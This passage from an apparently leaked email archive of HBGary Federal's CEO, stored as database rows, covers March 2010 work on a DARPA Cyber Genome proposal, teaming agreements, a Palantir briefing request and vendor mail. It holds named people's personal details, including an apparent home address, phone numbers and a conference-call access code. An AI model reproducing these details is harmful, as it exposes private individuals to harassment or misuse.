the\r\n>>>>> correct tasks in the WBS.\r\n>>>>> Can I assume SRI is only involved in Task 1?  Also, Phil gave me\r\n>>>>> the travel details below however\r\n>>>>> they do not match the travel in the SOW.  Could you please let me\r\n>>>>> know which is correct and if\r\n>>>>> Phil\'s list below is the correct version, could you please let me\r\n>>>>> know what month the trips\r\n>>>>> will occur so that I can correctly spread our costs by month.\r\n>>>>>\r\n>>>>> Travel: WHAT MONTHS?\r\n>>>>>        2010:\r\n>>>>>         3 Trips x 2 people to WDC\r\n>>>>>        2011:\r\n>>>>>         7 Trips x 2 people to WDC\r\n>>>>>        2012:\r\n>>>>>         5 Trips x 2 people to WDC\r\n>>>>>        2013:\r\n>>>>>         3 Trips x 2 people to WDC\r\n>>>>>\r\n>>>>> Thanks very much,\r\n>>>>> Best,\r\n>>>>> kat\r\n>>>>>\r\n>>>>> On 3/19/2010 7:26 PM, Phil Porras wrote:\r\n>>>>>>\r\n>>>>>>> X-AuditID: 80125573-b7b3eae000005555-bb-4ba1bea80922\r\n>>>>>>> X-Spam-Status: No, score=0.0 threshold=8.0\r\n>>>>>>> X-Spam-Level:\r\n>>>>>>> From: Aaron Barr \r\n>>>>>>> Subject: RFP\r\n>>>>>>> Date: Thu, 18 Mar 2010 01:48:18 -0400\r\n>>>>>>> To: Phil Porras , vinod@csl.sri.com\r\n>>>>>>> X-Mailer: Apple Mail (2.1077)\r\n>>>>>>> X-Brightmail-Tracker: AAAAAhNWaw4TVm8z\r\n>>>>>>>\r\n>>>>>>> Guys,\r\n>>>>>>>\r\n>>>>>>> Attached is the second draft with updated travel and WBS\r\n>>>>>>> sections.  The numbers don\'t exactly match yet, but they will\r\n>>>>>>> tomorrow and we will get out a final to you but I wanted to get\r\n>>>>>>> this out to you first for pricing purposes.\r\n>>>>>>>\r\n>>>>>>> Thanks\r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n> \r\n\r\n',16311,'aaron_hbgary_com/16311.html'),(4391,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002463.M965460P3547Q4391.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Teaming Agreement','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Ebbe Reker\" \r\n> Date: March 23, 2010 3:33:44 PM EDT\r\n> To: \"Aaron Barr\" \r\n> Cc: \"Anita D\'Amico\" , \"Kenny Prole\" \r\n> Subject: Teaming Agreement\r\n> \r\n> Attached is a signed teaming agreement.\r\n> \r\n> I added missing info.\r\n> \r\n> Two paragraphs were changed:\r\n> 1.5 Bolded text was added\r\n> 2.6 Deleted, since we are involved in other aspects of the Program\r\n> (Cyber Genome)\r\n> \r\n> Please countersign and return.  Thanks.\r\n> \r\n> - - - - - - - - - - - - - - - - - - \r\n> Ebbe Reker, Vice President & CFO \r\n> Applied Visions, Inc. \r\n> 6 Bayview Avenue \r\n> Northport, NY 11768 \r\n> Switchboard: 631-754-4920\r\n> Direct:631-759-3905 \r\n> Fax: 631-754-1721 \r\n> http://www.avi.com \r\n> - - - - - - - - - - - - - - - - - - \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 23, 2010 12:10 AM\r\n> To: Greg Hoglund; Bob Slapnik; Ted Vera; Christopher H. Starr; Jason R.\r\n> Upchurch; Irby Thompson; Adam Fraser; Anita D\'Amico; Ebbe Reker; Phil\r\n> Porras; vinod@csl.sri.com\r\n> Subject: TA3 Proposal\r\n> \r\n> All,\r\n> \r\n> Please review the TA3 proposal for content.  Pay close attention to the\r\n> following tables first and add content as needed:\r\n> 1. Innovative Claims\r\n> 2. Deliverables\r\n> 3. Intellectual Property\r\n> 4. Organizational Chart\r\n> 5. Previous Accomplishments\r\n> 6. Description of Facilities\r\n> \r\n> Then review the document overall for content.  The majority of the\r\n> document is ready for pink team review with the exception of III.C,\r\n> III.D, III.E.  I am working on those now.\r\n> \r\n> All Cost, Schedule and Milestones data (includes SOW and BOEs) Ted is\r\n> working on right now.\r\n> \r\n> I need your sealed envelops Thursday.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',541,'aaron_hbgary_com/541.html'),(4392,'2010-03-23','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002469.M238784P3547Q4392.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: graphic for DARPA Cyber Genome proposal TA#4','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHow is the attached graphic?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8345,'aaron_hbgary_com/8345.html'),(4393,'2010-03-23','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297002470.M272986P3547Q4393.eml','aaron@hbgary.com','Naval IT Day, 9th Annual - April 15, 2010, Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n     \r\n        Follow \r\n          AFCEA NOVA on\r\n          \r\n           \r\n          flickr \r\n          &nbsp;&nbsp; facebook\r\n           \r\n          twitter &nbsp;LinkedIn\r\n\r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     The \r\n        9th Annual AFCEA NOVA\r\n        Naval IT Day\r\n        Naval Changes: Information Dominance, Capitalization \r\n        &amp; the Warfighter\r\n      April \r\n        15, 2010 - 8am-5pm\r\n        Sheraton Premiere, Tysons Corner\r\n      afceanova.org/navalitday\r\n      About \r\n        the Conference\r\n      Now in its \r\n        9th Year, AFCEA NOVA&rsquo;s Naval IT Day is the only event in the Greater \r\n        Washington area where all of the IT Leadership of the Department of Navy \r\n        (Navy and Marine Corps) gathers to provide insight into current needs, \r\n        programs, and future initiatives. \r\n      Since the \r\n        last Naval IT Day, there have been several significant structural changes \r\n        that will have far-reaching effects on policy, operations, capitalization \r\n        and personnel. These structural changes include the consolidation of Navy \r\n        Sponsorship for Intelligence and C4 into OPNAV N2/N6, and the stand-up \r\n        of the U.S. Cyber Command at Fort Meade, with both Navy and Marine Corps \r\n        component commanders. \r\n      More than \r\n        ever, Information Dominance is paramount to our warfighters. Understanding \r\n        how these structural changes will improve the Department&rsquo;s ability \r\n        to achieve Information Dominance is essential. \r\n      These Senior \r\n        Naval leaders will share their vision and plans for embracing technology \r\n        that addresses Dominance at Sea and Ashore. They will highlight the need \r\n        to acquire / develop / deploy superiority for our U.S. Navy and Marine \r\n        Corps forces, wherever they are deployed in the hostile world of today. \r\n        \r\n      Senior military \r\n        and civilian personnel will go into great detail to impart their vision, \r\n        requirements, and strategies to our audience. Additionally, during a high \r\n        power afternoon Acquisition Panel, leaders will address near-term implementation \r\n        efforts with direct impact on industry, giving a window on how to best \r\n        use IR&amp;D funds to support the Department&rsquo;s objectives, and offering \r\n        insight to potential business opportunities. Information Technology is \r\n        ever increasing within the military as a major driver in support of the \r\n        warfighter, and with knowledge gained from this Naval IT Day, industry \r\n        can be a critical partner in providing those solutions. You will not want \r\n        to miss this opportunity to learn about Navy and Marine Corps direction \r\n        within this important topic of Information Dominance &ndash; the key enabler \r\n        to ensure we prevail in conflict. \r\n      As with every \r\n        AFCEA NOVA IT Day, there will also be an impressive small business program \r\n        running parallel to the main stage of speakers; exhibits from Major Commands \r\n        on display in the Foyer &amp; Jr. Ballroom; and, great networking with \r\n        Naval leadership and the many industry organizations in attendance. You \r\n        will not find a better environment to encounter partners with a mutual \r\n        commitment to our Naval Services and the future of our country.\r\n      Register \r\n        to Sponsor Naval IT Day\r\n      Register \r\n        to Attend Naval IT Day\r\n        (use coupon code 5912 for $25 off)\r\n      For \r\n        more Information Contact Conference Director:\r\n        Martin Haley, events@afceanova.org, tel: 703-549-6911\r\n      Plus, \r\n        Don\'t Miss: \r\n      \r\n         Navy \r\n          &amp; Marine Command display booths throughout the lobby\r\n        Small \r\n          Business Plenary Sessions &amp; Small-group Town Hall \r\n          Meetings - runs in the morning and afternoon respectively, \r\n          parallel to the full conference\r\n      \r\n      \r\n        \r\n      \r\n         \r\n          \r\n               \r\n                Early \r\n                    Small Business Silver Sponsors\r\n              \r\n            \r\n        \r\n         \r\n          \r\n          \r\n          \r\n        \r\n         \r\n          \r\n          \r\n          \r\n        \r\n      \r\n      &nbsp;\r\n    &nbsp;\r\n    \r\n      \r\n        \r\n           \r\n            \r\n                 \r\n                  NAVAL \r\n                      IT Day Links\r\n                \r\n              \r\n          \r\n           \r\n            \r\n                 \r\n                   - About \r\n                      Naval IT Day\r\n                      - Speakers\r\n                      - Sponsors\r\n                      - Venue \r\n                      &amp; Directions\r\n                      - Registration \r\n                      (use \r\n                      coupon code 5912 for $25 off) \r\n                    \r\n                    \r\n                \r\n              \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                Early Premiere Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                Early Platinum Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                &nbsp;\r\n                  \r\n                  \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                Early Gold Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                    \r\n\r\n                  \r\n                  \r\n\r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n        \r\n         \r\n    \r\n      &nbsp;\r\n      \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',14970,'aaron_hbgary_com/14970.html'),(4394,'2010-03-23','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002470.M599021P3547Q4394.eml','\"Aaron Barr\" <aaron@hbgary.com>','home address','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nJust a reminder to send me your home address.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3296,'aaron_hbgary_com/3296.html'),(4395,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002470.M822926P3547Q4395.eml','ebber@avi.com,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Phil Porras\" <porras@csl.sri.com>,vinod@csl.sri.com','Address to Send Cost Data for TA3','POC: Aaron Barr\r\n1223 Potomac School Rd.\r\nMclean, VA 22101\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n',12084,'aaron_hbgary_com/12084.html'),(4396,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002471.M120196P3547Q4396.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: JTF-GNO','Hey Matt.  Let me see what I can dig up.  Jtf would be am interesting deployment.  I think I may have let a few government contacts.  Certainly have some NG contacts I could reach out to.\r\nWhat address should I give the cpany for our booth?  Or do u supply booths?How does all that work?AaronFrom my iPhoneOn Mar 23, 2010, at 12:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nWe keep hearing about cyber ops at JTF-GNO with respect to\r\nour ongoing cyber deployments.  Im wondering if you still have any\r\nconnections there and might set up a short briefing for us.  Federal\r\nleadership is obviously preferred, but any foot in the door would be\r\nappreciated.  We would outline our progress to date with our major cyber\r\ncustomers and give them a quick capabilities brief.  We’d obviously mention\r\nour HBGary connections as well.  \r\n\r\n \r\n\r\nLet me know what you think.\r\n\r\n \r\n\r\n-Matt\r\n\r\n \r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9786,'aaron_hbgary_com/9786.html'),(4397,'2010-03-23','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297002471.M654027P3547Q4397.eml','\"Hill, Lawrence C (TASC)\" <lawrence.hill@TASC.COM>,\"Hutcherson, Jerry T (TASC)\" <jerry.hutcherson@TASC.COM>,\"Aaron Barr\" <aaron@hbgary.com>','Need estimate on first use of CyberWarrior','\r\n\r\n\r\n\r\n\r\nNeed estimate on first use of CyberWarrior\r\n\r\n\r\n\r\n\r\nTeam\r\n\r\nWhen was the first Cyber Warrior class?\r\n\r\nSteve \r\n\r\n\r\n',2497,'aaron_hbgary_com/2497.html'),(4398,'2010-03-23','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002475.M496107P3547Q4398.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Please join the review of DCG Technical Volume for Technical Area 1 DRAFT','Aaron,\r\n\r\nAttached is a current draft of content for Tech Area #1 (there are some\r\nmissing sections that are being inserted).  Let me know if you have any\r\nquestions.  You can send me comments by adding sticky note comments\r\ndirectly in the document.\r\n\r\nWe have our red team currently reviewing content.\r\n\r\nWe will have our regular 4 PM Eastern call today at 866-765-5631, code\r\n5057292#\r\n\r\nChris\r\n571-216-6140\r\n\r\n\r\n-----Original Message-----\r\nFrom: Vela, Ryan \r\nSent: Monday, March 22, 2010 9:54 AM\r\nSubject: Please join the review of DCG Technical Volume for Technical\r\nArea 1 DRAFT\r\n\r\nYou are invited to review the document \"DCG Technical Volume for\r\nTechnical Area 1 DRAFT_review.pdf\". You can use Adobe Acrobat 8 or Adobe\r\nReader 8, or later, to review this document.\r\n\r\nClick the attachment to open it in Acrobat or Adobe Reader, and make\r\nyour comments using the Comment & Markup tools. When you are finished,\r\nclick Publish Comments to return your comments to the author and all\r\nother reviewers.\r\n\r\nGet the free Adobe Reader 9 from:\r\nhttp://www.adobe.com/go/reader\r\n',2584,'aaron_hbgary_com/2584.html'),(4399,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002475.M837459P3547Q4399.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>,\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>,','Re: Need estimate on first use of CyberWarrior','Before my time so pre 2004.  My guess is not much before.AaronFrom my iPhoneOn Mar 23, 2010, at 5:53 PM, &quot;Winterfeld, Steven P (TASC)&quot; &lt;steven.winterfeld@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\nTeam\r\n\r\nWhen was the first Cyber Warrior class?\r\n\r\nSteve \r\n\r\n\r\n\r\n',12837,'aaron_hbgary_com/12837.html'),(4400,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002483.M316756P3547Q4400.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Please join the review of DCG Technical Volume for Technical 	Area 1 DRAFT','From my iPhoneBegin forwarded message:From: &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: FW: Please join the review of DCG Technical Volume for Technical Area 1 DRAFT\r\nAaron,Attached is a current draft of content for Tech Area #1 (there are somemissing sections that are being inserted).  Let me know if you have any\r\nquestions.  You can send me comments by adding sticky note commentsdirectly in the document.We have our red team currently reviewing content.\r\nWe will have our regular 4 PM Eastern call today at 866-765-5631, code5057292#Chris571-216-6140-----Original Message-----\r\nFrom: Vela, Ryan Sent: Monday, March 22, 2010 9:54 AMSubject: Please join the review of DCG Technical Volume for TechnicalArea 1 DRAFTYou are invited to review the document &quot;DCG Technical Volume for\r\nTechnical Area 1 DRAFT_review.pdf&quot;. You can use Adobe Acrobat 8 or AdobeReader 8, or later, to review this document.Click the attachment to open it in Acrobat or Adobe Reader, and make\r\nyour comments using the Comment &amp; Markup tools. When you are finished,click Publish Comments to return your comments to the author and allother reviewers.\r\nGet the free Adobe Reader 9 from:http://www.adobe.com/go/reader\r\n',5150,'aaron_hbgary_com/5150.html'),(4401,'2010-03-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002483.M593935P3547Q4401.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Proposal Draft','HBGary understands and appreciates DARPA\'s needs for rights in data and\r\nprovides the following good faith representation that we own AND/OR  possess\r\nappropriate licensing rights  (Page 6 change see cap\'s)\r\n\r\nPage 7\r\n\r\nawarded, but will be discussed in the proposal.\r\nHBGary Technologies Summary Descriptions\r\nHBGary, Inc Federal owns the Digital DNA Sequence and Fuzzy Hash Algorithm\r\ninventions  (REMOVE FEDERAL< HBGARY OWNS IT< )\r\n\r\nAlso there is nothing about hypervisor or hardware based scenarios.  I think\r\nthis is likely to bite you guys and perhaps cause an award to go to someone\r\nelse\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 23, 2010 10:54 AM\r\nTo: Penny Leavy\r\nSubject: Proposal Draft\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',5508,'aaron_hbgary_com/5508.html'),(4402,'2010-03-23','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002483.M831721P3547Q4402.eml','\"Aaron Barr\" <aaron@hbgary.com>','IP table','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe are going to list all IP\r\nrestrictions in a table similar to the attached word document and put all\r\nrestrictions in as simple a form as possible. &nbsp;Hopefully you and Bob can fill\r\nthis out fairly quickly and we then we can review the table with our IP lawyer\r\nto make sure all looks good on both sides. &nbsp;&nbsp;This table is meant to\r\nbe the main reference for DARPA to understand the IP restrictions associated\r\nwith the DARPA Cyber Genome work.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1996,'aaron_hbgary_com/1996.html'),(4403,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002484.M230756P3547Q4403.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Proposal Draft','Thanks penny.  Nothing in the proposal requires this to be in real\r\ntime.  Just automated, so I think a hardware or hypervispr solution\r\nmight be overkill but I will re take a look.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 23, 2010, at 6:07 PM, Penny Leavy-Hoglund \r\nwrote:\r\n\r\n> HBGary understands and appreciates DARPA\'s needs for rights in data\r\n> and\r\n> provides the following good faith representation that we own AND/OR\r\n> possess\r\n> appropriate licensing rights  (Page 6 change see cap\'s)\r\n>\r\n> Page 7\r\n>\r\n> awarded, but will be discussed in the proposal.\r\n> HBGary Technologies Summary Descriptions\r\n> HBGary, Inc Federal owns the Digital DNA Sequence and Fuzzy Hash\r\n> Algorithm\r\n> inventions  (REMOVE FEDERAL\r\n> Also there is nothing about hypervisor or hardware based scenarios.\r\n> I think\r\n> this is likely to bite you guys and perhaps cause an award to go to\r\n> someone\r\n> else\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, March 23, 2010 10:54 AM\r\n> To: Penny Leavy\r\n> Subject: Proposal Draft\r\n>\r\n>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n',14354,'aaron_hbgary_com/14354.html'),(4404,'2010-03-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002484.M630388P3547Q4404.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Proposal Draft','True but there have been exploits and there are concerns about malware being\r\n\"flashed\" into PC\'s when going into China, or if a PC is at a coffee shop\r\nperhaps radio waves sending an exploit over to it.  I know you guys say that\r\nDARPA likes \"out there\" this is the next frontier\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 23, 2010 3:25 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Proposal Draft\r\n\r\nThanks penny.  Nothing in the proposal requires this to be in real\r\ntime.  Just automated, so I think a hardware or hypervispr solution\r\nmight be overkill but I will re take a look.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 23, 2010, at 6:07 PM, Penny Leavy-Hoglund \r\nwrote:\r\n\r\n> HBGary understands and appreciates DARPA\'s needs for rights in data\r\n> and\r\n> provides the following good faith representation that we own AND/OR\r\n> possess\r\n> appropriate licensing rights  (Page 6 change see cap\'s)\r\n>\r\n> Page 7\r\n>\r\n> awarded, but will be discussed in the proposal.\r\n> HBGary Technologies Summary Descriptions\r\n> HBGary, Inc Federal owns the Digital DNA Sequence and Fuzzy Hash\r\n> Algorithm\r\n> inventions  (REMOVE FEDERAL\r\n> Also there is nothing about hypervisor or hardware based scenarios.\r\n> I think\r\n> this is likely to bite you guys and perhaps cause an award to go to\r\n> someone\r\n> else\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, March 23, 2010 10:54 AM\r\n> To: Penny Leavy\r\n> Subject: Proposal Draft\r\n>\r\n>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n',1775,'aaron_hbgary_com/1775.html'),(4405,'2010-03-23','\"Alex Torres\" <alex@hbgary.com>','/aaron@hbgary.com/new/1297002485.M302638P3547Q4405.eml','all@hbgary.com','DON\'T USE EPO DEMO SERVER!','All,I am updating Active Defense and DDNA for ePO on the ePO Demo Server so please don&#39;t log on to the demo server for the rest of the day. I will make sure to send out an email when I am done getting everything updated and working.\r\nThanks,Alex\r\n',8731,'aaron_hbgary_com/8731.html'),(4406,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002485.M504632P3547Q4406.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Proposal Draft','I agree but those are different problems not addressed by this baa.\r\nSupply chain and comms are different.\r\n\r\n From my iPhone\r\n\r\nOn Mar 23, 2010, at 6:26 PM, Penny Leavy-Hoglund \r\nwrote:\r\n\r\n> True but there have been exploits and there are concerns about\r\n> malware being\r\n> \"flashed\" into PC\'s when going into China, or if a PC is at a coffee\r\n> shop\r\n> perhaps radio waves sending an exploit over to it.  I know you guys\r\n> say that\r\n> DARPA likes \"out there\" this is the next frontier\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, March 23, 2010 3:25 PM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Proposal Draft\r\n>\r\n> Thanks penny.  Nothing in the proposal requires this to be in real\r\n> time.  Just automated, so I think a hardware or hypervispr solution\r\n> might be overkill but I will re take a look.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Mar 23, 2010, at 6:07 PM, Penny Leavy-Hoglund \r\n> wrote:\r\n>\r\n>> HBGary understands and appreciates DARPA\'s needs for rights in data\r\n>> and\r\n>> provides the following good faith representation that we own AND/OR\r\n>> possess\r\n>> appropriate licensing rights  (Page 6 change see cap\'s)\r\n>>\r\n>> Page 7\r\n>>\r\n>> awarded, but will be discussed in the proposal.\r\n>> HBGary Technologies Summary Descriptions\r\n>> HBGary, Inc Federal owns the Digital DNA Sequence and Fuzzy Hash\r\n>> Algorithm\r\n>> inventions  (REMOVE FEDERAL>\r\n>> Also there is nothing about hypervisor or hardware based scenarios.\r\n>> I think\r\n>> this is likely to bite you guys and perhaps cause an award to go to\r\n>> someone\r\n>> else\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, March 23, 2010 10:54 AM\r\n>> To: Penny Leavy\r\n>> Subject: Proposal Draft\r\n>>\r\n>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n',15953,'aaron_hbgary_com/15953.html'),(4407,'2010-03-23','TrackingUpdates@fedex.com','/aaron@hbgary.com/new/1297002485.M682594P3547Q4407.eml','aaron@hbgary.com','FedEx MPS Shipment Notification','________________________________________________________________________________ This tracking update has been requested by:  Company Name:GENERAL DYNAMICSName:Errin AutryE-mail:errin.autry@gd-ais.com________________________________________________________________________________    Errin Autry of GENERAL DYNAMICS sent Aaron Barr of HBGary 2 FedEx\r\nStandard Overnight package(s).  This shipment is scheduled to be sent on 03/23/2010.  Reference information includes:Purchase order number:1300-C0100Reference:1000-H2248-273764Special handling/Services:Deliver WeekdayStatus:Shipment information sent to FedEx Master tracking number:798502211339 (1 of 2)  Tracking number:798502211372 (2 of 2)   To track the latest status of your shipment, click on the tracking number above,or visit us at fedex.com. Learn more about new ways to track with FedEx. This tracking update has been sent to you by FedEx on the behalf of theRequestor noted above. FedEx does not validate the authenticity of therequestor and does not validate, guarantee or warrant the authenticity of therequest, the requestor\'s message, or the accuracy of this tracking update. Fortracking results and fedex.com\'s terms of use, go to fedex.com. Thank you for your business. ',11049,'aaron_hbgary_com/11049.html'),(4408,'2010-03-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002499.M969142P3547Q4408.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"D\'Amico Anita\" <anitad@securedecisions.avi.com>,ebber@avi.com','Teaming Agreement','Fully executed TA attached.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n>\r\n\r\n>\r\n',10505,'aaron_hbgary_com/10505.html'),(4409,'2010-03-23','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297002505.M471267P3547Q4409.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: JTF-GNO','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nExcellent on JTF.\r\n\r\n&nbsp;\r\n\r\nIn terms of booth stuff, Ive CCed Tim&#8230;..he&#8217;ll know best.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 23, 2010 5:23 PM\r\nTo: Matthew Steckman\r\nSubject: Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey Matt. &nbsp;Let me see what I can dig up. &nbsp;Jtf\r\nwould be am interesting deployment. &nbsp;I think I may have let a few\r\ngovernment contacts. &nbsp;Certainly have some NG contacts I could reach out\r\nto.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat address should I give the cpany for our booth? &nbsp;Or\r\ndo u supply booths?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow does all that work?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 12:01 PM, Matthew Steckman 